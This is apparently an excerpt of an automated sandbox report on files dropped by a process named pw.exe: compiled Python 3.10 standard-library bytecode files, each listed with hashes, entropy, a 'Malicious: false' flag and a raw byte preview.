..d4d5..d6d7..d8d9..d:d;..d<d=..d>d?..d@dA..dBdC..dDdE..dFdG..dHdI..dJdK..dLdM....i.dNdO..dPdQ..dRdS..dTdU..dVdW..dXdY..dZd[..d\dM..d]dO..d^dQ..d_dS..d`dU..dadW..dbdY..dcd[..ddde..dfdg....i.dhdi..djdk..dldm..dndo..dpdq..drds..dtde..dudg..dvdi..dwdk..dxdm..dydo..dzdq..d{ds..d\|d}..d~d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d}..d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d....i.d.d..d.d..d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d.

C:\recover\pw\Lib\pycache\struct.cpython-310.pyc.32045120

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	305
Entropy (8bit):	4.97846527336519
Encrypted:	false
SSDEEP:	6:y/6haextfvXhzYXcCuYKvg6FraMaVkoopngmIRK//Zkn:CKxt35YXcaKvjFrDaVkoegG/Zkn
MD5:	F31272304AB39EF63DDA13B25040B17C
SHA1:	A1F44E72AA24D62382C46102288CA9E71D2258CE
SHA-256:	A2DC2683E423B95F23DE23EABBB6991DA789C4A524F195ADB3659D457CC927B6
SHA-512:	2A395F656D33C160522E0C3C3E19DEC79DC187E75A048DF764517ECFC4F36D1FC36C511A31C0648DD36A55F4EA6838FB00C379A6B710C190B00A2AE03BC21403
Malicious:	false
Preview:	o.........Sg.........................@...s,...g.d...Z.d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.).).Z.calcsize..packZ.pack_into..unpackZ.unpack_fromZ.iter_unpack..Struct..error.....)...*)..._clearcache)...__doc__N)...__all__Z._structr....r......r....r......C:\recover\pw\lib\struct.py..<module>....s............

C:\recover\pw\Lib\pycache\subprocess.cpython-310.pyc.75281824

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	44739
Entropy (8bit):	5.608372210872316
Encrypted:	false
SSDEEP:	768:4u0RXvVDf8N6wQVIGcx35LU1w2mDQkW4Oc+clEJn7Zk199DNSauyP4W3ggSegvc7:n0RXvhsjUeV0kzD+clEoSauLWeOQZcp
MD5:	F895B81B5DA13135B2BE368A4FAAE1EB
SHA1:	1DCB847BE69B96B5E88F0A3E89EA5C99AA1A2B91
SHA-256:	A77BF23280AE14FFDEE070C7FB76ABA9E2924DCDFF127B33C58A09FEE6FEB69E
SHA-512:	C694BCE65DD12DB9A89F4C44DF024E510D0ACB1FCC2D6C9495A0D287AB829101ED2302C76CF21EC2E5AB1E23B3710878C54BF9260A3AA5E735E023DA9F025585
Malicious:	false
Preview:	o.........Sg.S.......................@...sp...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.z.d.d.l.Z.W.n...e.yE......d.Z.Y.n.w.g.d...Z.z.d.d.l.Z.d.d.l.Z.d.Z.W.n...e.ym......d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.Y.n0w.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)..e..g.d.......G.d.d...d.e+..Z,G.d.d...d.e,..Z-G.d.d...d.e,..Z.e.r.G.d.d...d...Z/G.d.d...d.e0..Z1n.e2e.d.d...Z3e4e.d...r.e.j5Z6n.e.j7Z6e.r.d.Z8d.d...Z9n.g.Z8d.d...Z9d.Z:d.Z;d.Z<d.d...Z=d.d...Z>d.d ..d!d"..Z?d#d$..Z@d.d ..d%d&..ZAG.d'd(..d(eB..ZCd.d.d.d.d)..dd+..ZDd,d-..ZEd.d/..ZFd0d1..ZGd2d3..ZHeH..ZId.ZJG.d4d5..d5..ZKd.S.)6a....Subprocesses with accessible I/O streams..This module allows you to spawn processes, connect to their.input/output/error pipes, and obtain their return codes...For a complete description of this module see the Python documentation...Main API.========.run(...): Runs a command, waits for it to complete, then returns a.

C:\recover\pw\Lib\pycache\tempfile.cpython-310.pyc.74786160

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	24062
Entropy (8bit):	5.281108698019095
Encrypted:	false
SSDEEP:	384:wGeOPQ/N1bmiY+HWkXkONXPVlMyNwfUC9Nrz/Stjtb7hLBx3/Tds5Vp:PeA81bminY0XPVmyNwM8NPqJ7Zb7ds5T
MD5:	95FE6AD665972F9DA3AE5EFF89A3BF48
SHA1:	17F29CEEAB932EEC2821754B0F7E447FF11195F9
SHA-256:	51E0300E4DC2C5F3CC5A73E13F95DDC8D64F64CE3E7BCB43389E783843E44A54
SHA-512:	4EF0D1152D6A65A845BD04CCCFC328F75FB5CDCBD254AE88F5257E7F9103BEEF80B3898B648772E071A5F084CDC33F87120D527CF210FFD4EA3A6BCF5566801B
Malicious:	false
Preview:	o.........Sgku.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.Z.e.j.e.j.B.e.j.B.Z.e.e.d...rJe.e.j.O.Z.e.Z e.e.d...rVe e.j!O.Z e.e.d...r_e.j"Z"n.d.Z"d.Z#e...Z$d.d...Z%d.d...Z&d.d...Z'G.d.d...d...Z(d.d...Z)d.d...Zd.a+d.d...Z,d.d...Z-d.d...Z.d.d...Z/d.a0d.d...Z1d d!..Z2d"d#..Z3d?d%d&..Z4d@d'd(..Z5d)e#d.f.dd+..Z6G.d,d-..d-..Z7G.d.d/..d/..Z8.....2dAd.d3..d4d5..Z9e.j:d6k.s.e.j;d7k.r.e9Z<n.e.e.d8..a=......dBd.d3..d9d:..Z<G.d;d<..d<..Z>G.d=d>..d>..Z?d.S.)Ca....Temporary files...This module provides generic, low- and high-level interfaces for.creating temporary files and directories. All of the interfaces.provided by this module can be used without fear of race conditions.except for 'mktemp'. 'mktemp' is subject to race conditions and.should not be used; it is provided for backward compatibility only...The default path names are returned as str. If you supply bytes as.input, all return values will b

C:\recover\pw\Lib\pycache\textwrap.cpython-310.pyc.66032368

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	13810
Entropy (8bit):	5.336981506895657
Encrypted:	false
SSDEEP:	384:+B47dcTOzzlFEYKRuPSzqjNGmwImkWf8FBQ:+B47dLF/5JNG5MkkBQ
MD5:	DEA7C3087C9B3CD7143394682CCB7C2A
SHA1:	E396BEE8C236D77D4BAA5897804508D37D2C1739
SHA-256:	7284F4D4814C111344DDE73D7EDE9BAD710A059869DC93010B84D387ED748B32
SHA-512:	9F23D1FE59267899BEF9AECC787C9DB24C390FF17C4788B578D9D1C7926FF77C8EDB6F802BD8AE6CBEEC015327BCCAA8CE2FEB034F19E7D3935F36CE75DB9267
Malicious:	false
Preview:	o.........Sg*O.......................@...s....d.Z.d.d.l.Z.g.d...Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.e...d.e.j...Z.e...d.e.j...Z.d.d...Z.d.d.d...Z.e.d.k.rDe.e.d.......d.S.d.S.).z.Text wrapping and filling.......N)...TextWrapper..wrap..fill..dedent..indent..shortenz...... c....................@...s....e.Z.d.Z.d.Z.i.Z.e.d...Z.e.D.].Z.e.e.e.e...<.q.d.Z.d.Z.d.e...e.....Z.d.e.d.d.......Z.e...d.e.e.e.e.d.....e.j...Z.[.[.[.e...d.e.....Z.[.e...d...Z.....................d&d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d.S.)'r....a..... Object for wrapping/filling text. The public interface consists of. the wrap() and fill() methods; the other methods are just there for. subclasses to override in order to tweak the default behaviour.. If you want to completely replace the main wrapping algorithm,. you'll probably have to override _wrap_chunks()... Several instance attributes control various aspects of wrapping:. width (default:

C:\recover\pw\Lib\pycache\threading.cpython-310.pyc.38282368

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	44967
Entropy (8bit):	5.171420484126245
Encrypted:	false
SSDEEP:	768:J1e/MIxOwAgbSGxwbNNo+rkPsXj16a1Zmi8Y2S41QrTrWOnO89x+6Lc/QpZ2efn0:JQ/8Zf2lbPs/v612aOJ/46PeaBATiI/z
MD5:	2E617F237EAADDEE8DB294D6FDF6B879
SHA1:	D6AEF13B1F99CB0E0680624C73C7C627CBF32C47
SHA-256:	6625B8EA0E79D207F533BCAA5A4F89B5E1A0E254138AE08E1D5806442A273983
SHA-512:	5656F77216B341E5333DF65A2414C4E0BCE5D55D9D2B06164E758EA72D8DF324B7C666EDBAA2D20AD1DD8F3B85715FCCDDF4D06042E1B49EFECABA7412530063
Malicious:	false
Preview:	o.........Sg.........................@...s6...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...z.d.d.l.m.Z...W.n...e.y=......d.d.l.m.Z...Y.n.w.g.d...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.z.e.j.Z.d.Z.e...d.....W.n...e ye......d.Z.Y.n.w.e.j!Z"z.e.j#Z$W.n...e yy......d.Z$Y.n.w.e.j%Z%[.d.a&d.a'd.d...Z(d.d...Z)d.d...Zd.d...Z+e.Z,d.d...Z#G.d.d...d...Z-e-Z.G.d.d...d...Z/G.d.d...d...Z0G.d.d...d.e0..Z1G.d.d...d...Z2G.d.d ..d ..Z3G.d!d"..d"e4..Z5e.d#..j6Z7d$d%..Z8e#..a9i.Z:i.Z;e...Z<e...a=e>..a?d&d'..Z@G.d(d)..d)..ZAz.d.dl.mBaCmDZE..W.n#..e...y.......d.d+lFmGZH..d.d,l.mIZI..eId-d...ZDd/d-..ZEd0d1..aCY.n.w.tCZJd2d3..ZKG.d4d5..d5eA..ZLG.d6d7..d7eA..ZMG.d8d9..d9eA..ZNd:d;..ZOd<d=..ZPd>d?..ZQd@dA..ZRdBdC..ZSdDdE..ZTg.ZUd.aVdFdG..ZWd.dHl.mXZX..eM..aYdIdJ..ZZdKdL..Z[z.d.dMl.m\Z]..W.n...e...y.......d.dNl^m]Z]..Y.n.w.dOdP..Z_e`e.dQ....r.e.jae_dR....d.S.d.S.)Sz;Thread module emulating a subset of Java's threading model......N)...monotonic)...WeakSet)...islice..count)...deque)...get_ident

C:\recover\pw\Lib\pycache\token.cpython-310.pyc.33688656

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2736
Entropy (8bit):	5.766380625847679
Encrypted:	false
SSDEEP:	48:2HWS58lFEOqIlPBJR41TBzH3ch9C7Q7WnvKQvVgkGQLU:2HWSOFEOb5nYBb3ch9T6qKLU
MD5:	E33AC739CE2BA26129371C655871E7E0
SHA1:	0581B751D2E7925F436F2612D5E6E40700D964B3
SHA-256:	39BB7CA0D75EE4769FD79172952D8C51B29E19EE70E4E63E5F418FD581B35951
SHA-512:	6B7180CE8B8C17E09414007A420394C8C52A017122B81E56491A10616F053CF3443BCB01D75D0D6CFFD419E1472504A3FA3411451A02D603BD82A4E1F0E36A66
Malicious:	false
Preview:	o.........Sg.........................@...sF...d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)dZd+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCZCdDdE..eD...E..D...ZFe..GeF.H......i.dFe...dGe...dHe..dIe...dJe+..dKe...dLe...dMe...dNe%..dOe0..dPe(..dQe...dRe&..dSe...dTe...dUe'..dVe5..i.dWe...dXe6..dYe...dZe1..d[e2..d\e)..d]e...d^e7..d_e...d`e...dae#..dbe...dce...dde...dee...dfe...dge ....e$e/e3e4e.e.e"e-e.e.e,e.e!dh....ZIdidj..ZJdkdl..ZKdmdn..ZLdoS.)pz.Token constants.)...tok_name..ISTERMINAL..ISNONTERMINAL..ISEOF................................................................................................................................................................. ....!...."....#....$....%....&....'....(....)........+....,....-........./....0....1....2....3....4....5....6....7....8....9....:....;....<....

C:\recover\pw\Lib\pycache\tokenize.cpython-310.pyc.33688816

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17192
Entropy (8bit):	5.776938243345214
Encrypted:	false
SSDEEP:	384:NSAswuiOIbAPaiOkoc/w3CJg+YRn9JMH6HG5xBQzS:NmiRAPajkoc/wyJg+Y/sN5xBQzS
MD5:	AAE83A5CB1791D997D4CFB917D5C9C4B
SHA1:	3C044C98D7A31594DE8E78EA6B46852FFC2262B2
SHA-256:	55EA6E47D9AFC58C0E52F085D57E31425E72235B9D200B42B058504DEDE3494A
SHA-512:	72B1F835757A1272C61C9F908761FCC6DC86C1EF9318C3C72303643143F935201A33B13D5487BEF4279EF351B403C70AF3D53A024FB57777C0D3DE77DDCC8EA2
Malicious:	false
Preview:	o.........Sg.g.......................@...sT...d.Z.d.Z.d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...d.e.j...Z.e...d.e.j...Z.d.d.l.Z.e.j.g.d.....Z.[.G.d.d...d.e...d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.e.e.d.e.......e.e.....Z.d.Z d.Z!d.Z"d.Z#d.Z$e.e!e"e#e$..Z%d.Z&e.d.d ..e.e&....Z'd!e&..Z(e.e'e(..Z)e.d"e)d#....Ze.ee)e%..Z+d$d%..Z,e.j-d&d'....Z.e.e,....Z/d(Z0d)Z1d*Z2d+Z3e.e/d,..e/d-....Z4e.e/d...e/d/....Z5e.e6e.j7e8e.d0d1......Z9e.d2e9..Z:e.e+e:e5e ..Z;e.e;..Z<e.e/d3..e.d4d.....e/d5..e.d6d.......Z=e.d7e.e4..Z>e.e.e>e+e:e=e ....Z?i.Z@e,..D.].ZAe0e@eAd4..<.e1e@eAd6..<.e2e@eAd,..<.e3e@eAd-..<...q.eB..ZCeB..ZDe,..D.]%ZEeEd6..eEd4..f.D.].ZFeC.GeF......qIeEd-..eEd,..f.D.].ZFeD.GeF......qZ..q?d8ZHG.d9d:..d:eI..ZJG.d;d<..d<eI..ZKG.d=d>..d>..ZLd?d@..ZMdAdB..ZNdCdD..ZOdEdF..Z.dGdH..ZPdIdJ..ZQdKdL..ZRdMdN..ZSeTdOk...r.eS....d.S.d.S.)Pao...Tokenization help for Python programs...tokenize(readline) is a generator that breaks a stream

C:\recover\pw\Lib\pycache\traceback.cpython-310.pyc.33687216

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	21706
Entropy (8bit):	5.293647540216537
Encrypted:	false
SSDEEP:	384:UooGGsSgHvgJJpLbiO+pSbnwRG+SbL3JWFsFmpbQigBsGUa2l4cCowdBq:UooFcHvIJpiJAngz4BNUpl4cCBdBq
MD5:	E809801B16C1DF04EB0670FD2F687DC2
SHA1:	81A7243FF629C2EE7E86136F667D81B1D264418D
SHA-256:	00C2A7E68A1A06582EF1B39580F8261641BB9869EA27A9CC843AA87B1DD0B970
SHA-512:	7619AA750A5BE6BE72E7DF4B216C6ABF9E84EBCE225826F1DEB0F4EFB251A95979031B067DF70A5297D851C46EC64FC8AE62DCAEAB014F35208B4A3FA27029A3
Malicious:	false
Preview:	o.........Sg.i.......................@...sJ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d8d.d...Z.d.d...Z.d9d.d...Z.d8d.d...Z.d8d.d...Z.d.Z.d.Z.G.d.d...d...Z.e...Z.d.d...Z.e.e.d.d.d.f.d.d...Z.e.e.d.d.f.d.d...Z.e.f.d.d...Z.d.d...Z.d.d...Z.d:d.d ..Z.d;d!d"..Z.d:d#d$..Z.d<d%d&..Z.d9d'd(..Z.d9d)d*..Z.d+d,..Z.G.d-d...d...Z.d/d0..Z.d1d2..Z.d3Z.G.d4d5..d5e ..Z!G.d6d7..d7..Z"d.S.)=z@Extract, format and print information about Python stack traces......N)...extract_stack..extract_tb..format_exception..format_exception_only..format_list..format_stack..format_tb..print_exc..format_exc..print_exception..print_last..print_stack..print_tb..clear_frames..FrameSummary..StackSummary..TracebackException..walk_stack..walk_tbc....................C...s4...\|.d.u.r.t.j.}.t...\|.......D.].}.t.\|.\|.d.d.....q.d.S.).zyPrint the list of tuples as returned by extract_tb() or. extract_stack() as a formatted stack trace to the given file.N......file..end)...sys..stderrr......from_list..format..print)...extracted_l

C:\recover\pw\Lib\pycache\types.cpython-310.pyc.32043760

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9523
Entropy (8bit):	5.1414082738555615
Encrypted:	false
SSDEEP:	96:y8BGSXkI30IX7ad5RV7VIPNmXkXFNlO8U2UuLWnxq3juXvypQ1SwDFBL0GSSSOS6:nBGgfjoV4NmAFyvWLwx8pOXU/I+rjmV
MD5:	53E9CC0DB0BBA8943E57C9D6F12BD2A1
SHA1:	2528A4B3D1B4D997EA15570FEBB903C9BBD2B5E2
SHA-256:	2DE903CD88E9EF5C4326BF76913756B761BF4515122010DDC842EB618021E1D5
SHA-512:	E9847135F4549433028D39E50DF7752B41CA1C22ECF048B4D788582BB20CF35B36C2AA9F4AA4FAD833DD4C14D0CE9F0BA0A3FC7E0E654A27B1EBFCDCFDB81A82
Malicious:	false
Preview:	o.........Sg.(.......................@...s....d.Z.d.d.l.Z.d.d...Z.e.e...Z.e.d.d.....Z.e.e.j...Z.e.e.j...Z.e.e.j...Z.d.d...Z.e.e.....Z.d.d...Z.e.e.....Z.d.d...Z.e...Z.e.e...Z.e.......d.d...Z.e...Z.e.e...Z.G.d.d...d...Z.e.e...j...Z.e.e...Z.e.g.j...Z.e.e.j...Z.e.e...j...Z e.e!j"..Z#e.e$j.d.....Z%e.e...Z&z.e'....e'y.......e..(..d...Z)e.e)..Z*e.e)j+..Z,d.Z)[)Y.n.w.e.e.j...Z-e.e.j...Z/[.[.[.[.[.[.d$d.d...Z0d.d...Z1d%d.d...Z2d.d...Z3G.d.d...d...Z4G.d.d...d...Z5d d!..Z6e.e7e8....Z9e.e8e!B...Z:e.e;..Z<e.d...Z=e.e>..Z?d"d#..e@..D...ZAd.S.)&zO.Define names for built-in types that aren't directly accessible as a builtin.......Nc....................C........d.S...N..r....r....r......C:\recover\pw\lib\types.py.._f...........r....c....................C...r....r....r....r....r....r....r......<lambda>....r....r....c........................s....d.....f.d.d...}.\|.j.d...S.).N.....c........................r....r....r....r........ar....r......f....r....z._cell_factory.<locals>.fr....)...__closure__).r....r.

C:\recover\pw\Lib\pycache\typing.cpython-310.pyc.33687856

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	85275
Entropy (8bit):	5.27553140191886
Encrypted:	false
SSDEEP:	1536:rCytWnoBkc6T6G9vSgukYqUwmM6eOZlhKNtB21bvSF3hCOp9NeT51mWbAyfthIR3:GtV2k3kSNtg1UQOpqb18oc3
MD5:	8937FF5C65B11D8BDA329EAF169A284A
SHA1:	3683432ACD26BF9C5B873322577D9A228CED45F9
SHA-256:	099EA0601F38777CFF97A3DFFF651F4BF72FA67DF2DB22E05194CBCA3E1E584B
SHA-512:	A3BE557B0BB3244BD3DE5BE623982AD4BBB6854CAAF7333FE52C6F74F2BB80DAB4B00A1E9DA0B1A867BD78D1CCA0CFBF3DCDA7649C853253252C95C9AEF494F7
Malicious:	false
Preview:	o.........Sg.t.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...g.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.g.Z.d.d.d...d.d...Z.e...f.d d!..Z.G.d"d#..d#..Z G.d$d%..d%..Z!G.d&d'..d'e d.d(..Z"G.d)d..de"d.d(..Z#e"d+d,....Z$e"d-d.....Z%e"d/d0....Z&e"d1d2....Z'e"d3d4....Z(e"d5d6....Z)e#e.d.d...d7d8......Z*e"d9d:....Z+e"d;d<....Z,e"d=d>....Z-G.d?d@..d@e d.d(..Z.G.dAdB..dB..Z/G.dCdD..dDe e!e/d.d(..Z0G.dEdF..dFe e!d.d(..Z1G.dGdH..dHe e!d.d(..Z2G.dIdJ..dJe e!e/d.d(..Z3dKdL..Z4G.dMdN..dNe d.d(..Z5G.dOdP..dPe5d.d(..Z6G.dQdR..dRe5d.d(..Z7G.dSdT..dTe6d.d(..Z8G.dUdV..dVe7d.d(..Z9G.dWdX..dXe7d.d(..Z:G.dYdZ..dZe6d.d(..Z;d[d\..Z<G.d]d^..d^e6d.d(..Z=G.d_d`..d`e6d.d(..Z>G.dadb..db..Z?G.dcdd..dd..Z@G.dedf..df..ZAg.dg..ZBg.dh..ZCeBeC..dig...ZDdjdk..ZEdldm..ZFdndo..ZGd.drds..ZHd.dudv..ZIg.dw..dxdyg.dz..ZJG.d{d\|..d\|e...ZKG.d}d~..d~e?eKd...ZLG.d.d...d.e6d.d(

C:\recover\pw\Lib\pycache\uu.cpython-310.pyc.39029200

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3686
Entropy (8bit):	5.54594782547775
Encrypted:	false
SSDEEP:	96:K6FLByWyhU9ShozDLcLmxESqc0Ic5k4CWyQ65:K6FLByWS2zECW3u4a5
MD5:	6470C3EFF66CDCF10DEA9BE9F98CE231
SHA1:	C567AA5400183CD81EF49469F574F3209C658C56
SHA-256:	AE60646304895709D4A9B9BFF61DCA8679FFDCB188BBCD3C3599C70E59FFF268
SHA-512:	13411533B5153EDFDC440EF6C30CE0CED1F5A4D45C2A03303308AE4149869CE81331BB501788369518997B25C7481B769AA8A747212EEF0645755900B6001A12
Malicious:	false
Preview:	o.........Sg.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.d.d.d...d.d...Z.d.d.d...Z.d.d...Z.e.d.k.r4e.....d.S.d.S.).z.Implementation of the UUencode and UUdecode functions...encode(in_file, out_file [,name, mode], *, backtick=False).decode(in_file [, out_file, mode, quiet])......N)...Error..encode..decodec....................@...s....e.Z.d.Z.d.S.).r....N)...__name__..__module__..__qualname__..r....r......C:\recover\pw\lib\uu.pyr....'...s........r....F....backtickc....................C...sx...g.}.z.\|.d.k.r.t.j.j.}.n/t.\|.t...r;\|.d.u.r.t.j...\|...}.\|.d.u.r1z.t...\|...j.}.W.n...t.y0......Y.n.w.t.\|.d...}.\|...\|.....\|.d.k.rDt.j.j.}.n.t.\|.t...rSt.\|.d...}.\|...\|.....\|.d.u.rYd.}.\|.d.u.r_d.}.\|...d.d...}.\|...d.d...}.\|...d.\|.d.@.\|.f.....d.......\|...d...}.t.\|...d.k.r.\|...t.j.\|.\|.d.......\|...d...}.t.\|...d.k.s.\|.r.\|...d.....n.\|...d.....W.\|.D.].}.\|.......q.d.S.\|.D.].}.\|.......q.w.).z.Uuencode file..-N..rb..wbi.......z.\n...z.\rz.begin %o %s.i......ascii.-...r....r..

C:\recover\pw\Lib\pycache\warnings.cpython-310.pyc.33686176

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	13644
Entropy (8bit):	5.373708498531873
Encrypted:	false
SSDEEP:	384:8Bo+bFHagj6xo0+q6pRkg8gRN5hlPY6FBdlIwKVvzexfu9wK:8VJHagj6xLD6V/A6FBdlIJ7exfu9wK
MD5:	9745401746A15193533FA1CBAD25D617
SHA1:	03CBC9DE3B952C464117615EEBD47D0060AA6E0E
SHA-256:	29D75AF07C36F8FE35BC78ED85F4E29B10863514BD3701ABB2BA5F932C39330E
SHA-512:	30C24D51D427290F8FDD70BC1F1C79199D03ED09604704FB027D2082BFDB7F8DC420C28CCD7A02A0A7958D360F49219F508069B2B14429E8A55ACBEBA43FF0F5
Malicious:	false
Preview:	o.........Sg.O.......................@...s....d.Z.d.d.l.Z.g.d...Z.d=d.d...Z.d>d.d...Z.d.d...Z.d.d...Z.e.Z.d.d...Z.e.Z.d.d...Z.d.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d?d)d..Z.....d@d+d,..Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.d1d2..Z.z.d.d3l.m.Z.m Z m!Z!m.Z.m.Z.m"Z"..e Z#e!Z$d4Z%W.n...e&y.......g.Z.d5Z#i.Z$d(a'd6d7..Z"d.Z%Y.n.w.e.e.j(....e%s.e)e.d8..s.e.d5ed9d(d:....e.d;e*d(d<....e.d;e+d(d<....e.d;e,d(d<....e.d;e-d(d<....[%d.S.)Az&Python part of the warnings subsystem......N)...warn..warn_explicit..showwarning..formatwarning..filterwarnings..simplefilter..resetwarnings..catch_warningsc....................C...s....t.\|.\|.\|.\|.\|.\|...}.t.\|.....d.S.)..7Hook to write a warning to a file; replace if you like.N)...WarningMessage.._showwarnmsg_impl)...message..category..filename..lineno..file..line..msg..r......C:\recover\pw\lib\warnings.pyr........s........r....c....................C...s....t.\|.\|.\|.\|.d.\|...}.t.\|...S.)...Fu

C:\recover\pw\Lib\pycache\weakref.cpython-310.pyc.33689296

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	20341
Entropy (8bit):	5.077914264407523
Encrypted:	false
SSDEEP:	384:kjNLvfZTpG14+ORhWBdAP/+6BWCyljPj8j/sBMpNLRVcNh4oC+erfA4:kpHZE15QhWBdg/+6zyhOpNHS/CXLA4
MD5:	0E11F55AECEF5AC201522CF62581BC59
SHA1:	368A98C13BFA21BB4B397E7A33F46F49D781E3E3
SHA-256:	645B933E517235696D9BDC76A2B244CEAEE37649EBCA46F3BC13404EE53003B4
SHA-512:	21AAEFA7827F32FFBB36E95ED27B16DF3B27494209FC3DDD9463EFF87CF0737ADAA209F348B461A5377AEB2A34381ECE58A41F21632CC286644729B2E6555936
Malicious:	false
Preview:	o.........Sg.V.......................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.e.e.f.Z.g.d...Z.e.j...e.....e.j...e.....G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d...Z.d.S.).z\|Weak reference support for Python...This module is an implementation of PEP 205:..https://www.python.org/dev/peps/pep-0205/......)...getweakrefcount..getweakrefs..ref..proxy..CallableProxyType..ProxyType..ReferenceType.._remove_dead_weakref)...WeakSet.._IterationGuardN).r....r....r....r......WeakKeyDictionaryr....r....r......ProxyTypes..WeakValueDictionaryr......WeakMethod..finalizec........................sD...e.Z.d.Z.d.Z.d.Z.d.d.d...Z...f.d.d...Z.d.d...Z.d.d...Z.e.j.Z.....Z.S.).r....z.. A custom `weakref.ref` subclass which simulates a weak reference to. a bound method, working around the lifetime problem of bound methods.. )..._func_ref.._meth_type.._alive..__weakref__Nc........................sx...z.\|.j.}.\|.j.}.W.n...

C:\recover\pw\Lib\pycache\zipfile.cpython-310.pyc.65419808

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	61033
Entropy (8bit):	5.524850065833734
Encrypted:	false
SSDEEP:	1536:zL78ub6KCF0PSVTmrYNsS2vr4K5cM/ed0fUz5Z:3QcCF0ate/5f4
MD5:	A253136073D609E1B89C089769798618
SHA1:	01EFD2E7CFDBF8E738A68E8177F1DD451677EA83
SHA-256:	AFE80264AE930587650DCC04D06FD1783071AE6CFA17AE0E8F9B405AD8DFDD80
SHA-512:	56A47E39ACF18AC759BC68F146D6342E685724FFB37F0D4F8CD5C247F2A40B1D001F3D2F2CB7022F912EA412AF14BDC90CF3718B8EDCEF15A911F2746E825E9B
Malicious:	false
